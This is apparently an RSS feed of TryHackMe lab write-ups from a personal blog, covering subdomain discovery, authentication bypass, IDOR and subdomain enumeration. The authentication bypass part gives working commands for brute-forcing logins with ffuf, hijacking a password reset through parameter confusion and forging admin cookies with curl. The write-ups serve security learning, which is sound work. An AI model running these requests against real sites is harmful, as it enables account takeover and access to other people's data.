&lt;p&gt;The website can be opened, but there is a security warning:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.Du60bM1R_Z17x1X.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s run Gobuster:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gobuster dir -vv -o gob -u https://10.49.162.160 -w /usr/share/wordlists/dirb/common.txt -k
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.fnCbsMYR_Z1GxBbX.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nothing was found, so we&apos;ll try subdomain enumeration. Here, I&apos;m installing SecLists:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;snap install seclists
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.CN-5OP4P_1qP9PQ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using the information from that directory, let&apos;s run the wordlist:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gobuster vhost -vv -k --append-domain -u https://futurevera.thm -w /snap/seclists/current/Discovery/Web-Content/common.txt -o sub_gob2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.B3HIxr77_17BvT6.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We search for the &quot;Found&quot; results:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;grep Found sub_gob2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.ZjxVyc5x_2vl0nU.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The text seems to hint that this website is for support, so let&apos;s try the support subdomain first. We edit the hosts file again:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.BT54LSwH_Z27E8UR.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s try opening it again:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9.CRWa-mTg_Z2oU5Mp.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then we check the certificate to see if there are any insights:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-10.BA8QPL0a_16503U.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We got a new hint, so let&apos;s add it to the hosts file again:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-11.C9-iEhYy_kER9k.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Okay, let&apos;s try using curl:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-12.B42_x6A0_Z1bUB10.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;And we got the flag!&lt;/p&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/a.NlZuXO96.webp"/><enclosure url="/_astro/a.NlZuXO96.webp"/></item><item><title>Authentication Bypass | TryHackMe Write-up</title><link>https://farros.co/blog/authentication-bypass-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/authentication-bypass-tryhackme-write-up/</guid><description>Walkthrough for Authentication Bypass TryHackMe room. Learn how to defeat logins and other authentication mechanisms to allow you access to unpermitted areas.</description><pubDate>Sat, 28 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/authenticationbypass&quot;&gt;Authentication Bypass&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Brief&lt;/h2&gt;
&lt;p&gt;This room covers various methods to bypass, defeat, or break website authentication. These vulnerabilities are highly critical as they frequently lead to the leakage of personal customer data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I have started the machine.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Username Enumeration&lt;/h2&gt;
&lt;p&gt;Username enumeration is the process of creating a list of valid usernames to use in further attacks. This is often done by exploiting website error messages. For example, if a signup page returns the error &quot;An account with this username already exists,&quot; you can use a tool like &lt;code&gt;ffuf&lt;/code&gt; combined with a wordlist to automate the process of finding registered users based on that specific error response.&lt;/p&gt;
&lt;p&gt;Run the provided script, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d &quot;username=W1&amp;#x26;password=W2&quot; -H &quot;Content-Type: application/x-www-form-urlencoded&quot; -u http://10.48.164.113/customers/login -fc 200
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.DGg3mfNZ_1x5utO.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.C28iErQh_1jAbQ5.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the username starting with si?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;simon&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the username starting with st?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;steve&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the username starting with ro?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;robert&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Brute Force&lt;/h2&gt;
&lt;p&gt;Once a list of valid usernames is obtained, a brute-force attack can be launched against the login page. This automated process tests a list of commonly used passwords against your enumerated usernames. By using tools like &lt;code&gt;ffuf&lt;/code&gt; with multiple wordlists (one for usernames, one for passwords), you can systematically check combinations and identify successful logins by filtering for specific HTTP status codes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the valid username and password (format: username/password)?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First, create a &lt;code&gt;valid_usernames.txt&lt;/code&gt; file containing the four valid names we found: admin, robert, simon, and steve.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;nano valid_usernames.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.ChqA53l8_ZOjESd.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then save and run the script:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d &quot;username=W1&amp;#x26;password=W2&quot; -H &quot;Content-Type: application/x-www-form-urlencoded&quot; -u http://10.48.164.113/customers/login -fc 200
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We found a valid username and password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.Chf_4Pr__7VPt7.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;steve/thunder&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Logic Flaw&lt;/h2&gt;
&lt;p&gt;A logic flaw occurs when the intended logical path of an application is bypassed or manipulated. In authentication, this can happen through improper validation or variable handling. For example, if a PHP application uses the &lt;code&gt;$_REQUEST&lt;/code&gt; variable for a password reset, it may prioritize POST data over GET data. An attacker can exploit this by putting the victim&apos;s username in the GET request and their own email in the POST data, tricking the server into sending the victim&apos;s password reset link to the attacker&apos;s email address.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag from Robert&apos;s support ticket?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First, navigate to the &lt;code&gt;/customers/reset&lt;/code&gt; path on the target IP.
*
&lt;img src=&quot;https://farros.co/_astro/image-4.CQ8LuIxq_Z1ex84S.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;In the TryHackMe room, it&apos;s explained that the email used is &lt;code&gt;robert@acmeitsupport.thm&lt;/code&gt; for the account &apos;robert&apos;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.BO9oF4r5_2gpSQH.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Next, run the script:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl &apos;http://10.49.133.187/customers/reset?email=robert%40acmeitsupport.thm&apos; -H &apos;Content-Type: application/x-www-form-urlencoded&apos; -d &apos;username=robert&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is equivalent to viewing the page source.&lt;/p&gt;
&lt;p&gt;Now, go to the sign-up page at &lt;code&gt;/customers/signup&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.CTw7CnkJ_1ctre5.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Use the attacker&apos;s username and email here; the password can be any 8 characters.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.CH397Be3_2pTGhP.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Run the script to send Robert&apos;s password reset code to the attacker&apos;s email: &lt;code&gt;attacker@customer.acmeitsupport.thm&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl &apos;http://10.49.181.66/customers/reset?email=robert@acmeitsupport.thm&apos; -H &apos;Content-Type: application/x-www-form-urlencoded&apos; -d &apos;username=robert&amp;#x26;email={username}@customer.acmeitsupport.thm&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.D_v_pYZs_Z1BljJk.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We received the password reset message.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9.BYpM6rjC_Zl80YY.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Open that link to access Robert&apos;s dashboard and view his support ticket.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-10.CvHof0ci_Z1nHFeo.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;We found the flag.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: Cookie Tampering&lt;/h2&gt;
&lt;p&gt;Examining and modifying session cookies can lead to unauthorized access or privilege escalation.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Plain Text Cookies:&lt;/strong&gt; Sometimes cookies are stored in plain text and explicitly control access (e.g., &lt;code&gt;logged_in=true&lt;/code&gt; or &lt;code&gt;admin=false&lt;/code&gt;). Simply changing these values in your HTTP request can grant admin access.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hashing:&lt;/strong&gt; Hashes (like MD5 or SHA-256) are irreversible representations of text. However, if simple strings are hashed, attackers can often look up the original values in massive precomputed databases (like CrackStation).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encoding:&lt;/strong&gt; Encoding (like Base32 or Base64) converts data into a safe format for transmission and &lt;em&gt;is&lt;/em&gt; reversible. If a cookie contains a Base64 encoded JSON object (e.g., &lt;code&gt;{&quot;id&quot;:1,&quot;admin&quot;:false}&lt;/code&gt;), an attacker can easily decode it, change the &lt;code&gt;admin&lt;/code&gt; value to &lt;code&gt;true&lt;/code&gt;, re-encode it, and send the tampered cookie back to the server.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What is the flag from changing the plain text cookie values?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Run the final script provided by THM:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -H &quot;Cookie: logged_in=true; admin=true&quot; http://IP_MACHINE/cookie-test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-11.DbjvL2oW_Z2mvQIO.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the value of the md5 hash 3b2a1053e3270077456a79192070aa78 ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can use &lt;a href=&quot;https://crackstation.net&quot;&gt;https://crackstation.net&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-12.CGTuRiu0_1xAU7k.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;463729&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the base64 decoded value of VEhNe0JBU0U2NF9FTkNPRElOR30= ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can use &lt;a href=&quot;https://www.base64decode.org/&quot;&gt;https://www.base64decode.org/&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Encode the following value using base64 {&quot;id&quot;:1,&quot;admin&quot;:true}&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To encode the value, you can use &lt;a href=&quot;https://www.base64encode.org/&quot;&gt;https://www.base64encode.org/&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;eyJpZCI6MSwiYWRtaW4iOnRydWV9&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/a.C8fVqt4v.webp"/><enclosure url="/_astro/a.C8fVqt4v.webp"/></item><item><title>IDOR | TryHackMe Write-up</title><link>https://farros.co/blog/idor-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/idor-tryhackme-write-up/</guid><description>Walkthrough for IDOR TryHackme room. Learn how to find and exploit IDOR vulnerabilities in a web application giving you access to data that you shouldn&apos;t have.</description><pubDate>Sat, 28 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/idor&quot;&gt;IDOR&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: An What is an IDOR?&lt;/h2&gt;
&lt;p&gt;An &lt;strong&gt;IDOR&lt;/strong&gt; is an access control vulnerability that happens when a server trusts user input to access objects (like files or data) without verifying proper authorization, allowing unauthorized access by modifying request parameters.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What does IDOR stand for?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Insecure Direct Object Reference&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: An IDOR Example&lt;/h2&gt;
&lt;p&gt;Insecure Direct Object Reference (IDOR) is a vulnerability that occurs when a website does not properly check if a user is authorized to access specific data. For example, if a profile URL uses a parameter like &lt;code&gt;user_id=1305&lt;/code&gt;, an attacker might simply change that number to &lt;code&gt;1000&lt;/code&gt; to view another user&apos;s private information.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the Flag from the IDOR example website?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.CY0RHxka_Z1zFCdO.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Try opening the link provided in the email.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Dpe9xAHB_Wv41B.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Following the instructions, let&apos;s change it to 1000.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.jfe1pQgt_1FPNne.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{REDACTED}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Finding IDORs in Encoded IDs&lt;/h2&gt;
&lt;p&gt;Web developers often encode data (like changing binary data into an ASCII string) when passing it between pages or in cookies to ensure the web server can read it. You can often spot these encoded strings, decode them using tools online, modify the underlying ID, re-encode it, and submit the request again to find IDOR vulnerabilities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is a common type of encoding used by websites?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;base64&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Finding IDORs in Hashed IDs&lt;/h2&gt;
&lt;p&gt;Sometimes IDs are hashed instead of just encoded. While hashes are more complicated, they can still be predictable if the developer just hashed the integer value of the ID. You can use online databases and cracking services like CrackStation to reverse the hash and reveal the original ID value.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is a common algorithm used for hashing IDs?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;md5&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Finding IDORs in Unpredictable IDs&lt;/h2&gt;
&lt;p&gt;When IDs are completely unpredictable and cannot be decoded or cracked, the best way to test for IDOR is to create multiple accounts. By logging into one account and trying to access the endpoint using the ID of your second account, you can verify if the system actually checks for authorization.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the minimum number of accounts you need to create to check for IDORs between accounts?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;2&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Where are IDORs located&lt;/h2&gt;
&lt;p&gt;IDOR vulnerabilities are not always visible in the main URL address bar. They can be hidden in AJAX requests made by the browser in the background, referenced inside JavaScript files, or discovered via &quot;parameter mining&quot;—where you manually add unreferenced parameters (like &lt;code&gt;?user_id=123&lt;/code&gt;) to an endpoint to see if it responds with unauthorized data.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Read the above.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: A Practical IDOR Example&lt;/h2&gt;
&lt;p&gt;This practical task demonstrates how to find IDORs by monitoring background network traffic. By registering an account and inspecting the Network tab in your browser&apos;s developer tools, you can discover hidden API endpoints (e.g., &lt;code&gt;/api/v1/customer?id={user_id}&lt;/code&gt;) that fetch user data. Modifying this ID parameter in the request allows you to test if you can access other users&apos; data.&lt;/p&gt;
&lt;p&gt;Navigate to the URL provided in TryHackMe, then go to the customers page.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.BNk8p2dc_Z2nNwDh.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here, simply click sign up to create a new account.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.mQr-A6l9_YJBND.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can fill in any details, for example &lt;code&gt;&amp;#x3C;attacker@hacker.com&gt;&lt;/code&gt;, then click sign up.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.CYVqtCiU_1S2vYG.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then go to the &quot;Your Account&quot; page, right-click on the page and select &quot;Inspect&quot; to open the developer tools.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.CYVqtCiU_1S2vYG.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Click on the Network tab, then refresh the page. You will see a request for &lt;code&gt;customer?id=50&lt;/code&gt; at the bottom. You can double-click it to open the JSON response in a new tab.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-7.BME8dUD7_ZOiydB.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;From that URL, we can try changing the ID to test for IDOR.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the username for user id 1?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-8.CTkEscI9_Z1uVEfT.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;adam84&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the email address for user id 3?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-9.C0SD6Dxx_Z3Lqis.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;mailto:j@fakemail.thm&quot;&gt;j@fakemail.thm&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/a.CcRNvHkE.webp"/><enclosure url="/_astro/a.CcRNvHkE.webp"/></item><item><title>Subdomain Enumeration | TryHackMe Write-up</title><link>https://farros.co/blog/subdomain-enumeration-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/subdomain-enumeration-tryhackme-write-up/</guid><description>Complete walkthrough for Subdomain Enumeration TryHackme room. Learn the various ways of discovering subdomains to expand your attack surface of a target.</description><pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/subdomainenumeration&quot;&gt;Subdomain Enumeration&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Brief&lt;/h2&gt;
&lt;p&gt;Subdomain enumeration is the process of discovering valid subdomains for a specific domain to expand the attack surface and identify potential vulnerabilities. This module explores three main methods for finding these subdomains: Brute Force, OSINT (Open-Source Intelligence), and Virtual Host enumeration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is a subdomain enumeration method beginning with B?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Brute Force&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is a subdomain enumeration method beginning with O?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OSINT&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is a subdomain enumeration method beginning with V?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Virtual Host&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: OSINT - SSL/TLS Certificates&lt;/h2&gt;
&lt;p&gt;When Certificate Authorities (CAs) create SSL/TLS certificates, they record them in publicly accessible databases known as Certificate Transparency (CT) logs. Designed to prevent the misuse of malicious or accidental certificates, these logs can be queried using services like crt.sh to uncover current and historical subdomains associated with a target domain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What domain was logged on crt.sh at 2020-12-26?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;kita bisa buka url ini yang mencari tryhackme.com &lt;a href=&quot;https://crt.sh/?q=tryhackme.com&quot;&gt;https://crt.sh/?q=tryhackme.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.Cg6NEodk_Z1jpmWI.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;store.tryhackme.com&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: OSINT - Search Engines&lt;/h2&gt;
&lt;p&gt;Search engines index a massive amount of links and can be leveraged to find new subdomains using advanced search modifiers. By utilizing operators like the &lt;code&gt;site:&lt;/code&gt; filter (for example, &lt;code&gt;site:*.domain.com -site:www.domain.com&lt;/code&gt;), you can exclude the main website and narrow down the search results to expose hidden subdomains.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the TryHackMe subdomain beginning with S discovered using the above Google search?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Cof44j24_Z2wUmJL.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;store.tryhackme.com&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: DNS Bruteforce&lt;/h2&gt;
&lt;p&gt;DNS Bruteforce enumeration is a technique that involves testing thousands or millions of possible subdomains from a pre-defined wordlist. Because of the sheer volume of requests required, this method is automated using specialized tools like &lt;code&gt;dnsrecon&lt;/code&gt; to quickly identify active subdomains.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the first subdomain found with the dnsrecon tool?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.xHv4dk6l_ZP7qEW.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;api.acmeitsupport.thm&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: OSINT - Sublist3r&lt;/h2&gt;
&lt;p&gt;To make OSINT subdomain discovery faster and more efficient, you can automate the process using aggregation tools. Tools like Sublist3r pull data from multiple open-source intelligence engines and databases simultaneously, significantly speeding up the enumeration phase.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the first subdomain discovered by sublist3r?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;web55.acmeitsupport.thm&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 6: Virtual Hosts&lt;/h2&gt;
&lt;p&gt;Some subdomains (like development or admin portals) are kept private and aren&apos;t accessible via public DNS records. Instead, they rely on the server&apos;s &lt;code&gt;Host&lt;/code&gt; header to serve the correct site from a single IP address. You can discover these hidden virtual hosts by automating Host header manipulation using fuzzing tools like &lt;code&gt;ffuf&lt;/code&gt; (e.g., using the &lt;code&gt;FUZZ&lt;/code&gt; keyword in the Host header) and filtering out false positives using the page size filter (&lt;code&gt;-fs&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the first subdomain discovered?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;run this script&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H &quot;Host: FUZZ.acmeitsupport.thm&quot; -u http://10.49.139.124 -fs 2395
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.ojPDbfEf_1bhyro.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;delta&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the second subdomain discovered?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;yellow&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/a.BPijtsqA.webp"/><enclosure url="/_astro/a.BPijtsqA.webp"/></item><item><title>Content Discovery | TryHackMe Write-Up</title><link>https://farros.co/blog/content-discovery-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/content-discovery-tryhackme-write-up/</guid><description>TryHackMe write-up for “Walking An Application.” Learn how to use browser developer tools to manually discover hidden flags and potential vulnerabilities.</description><pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the Content Discovery room on TryHackMe:&lt;br&gt;
&lt;a href=&quot;https://tryhackme.com/room/contentdiscovery&quot;&gt;https://tryhackme.com/room/contentdiscovery&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Task 1: What Is Content Discovery?&lt;/h2&gt;
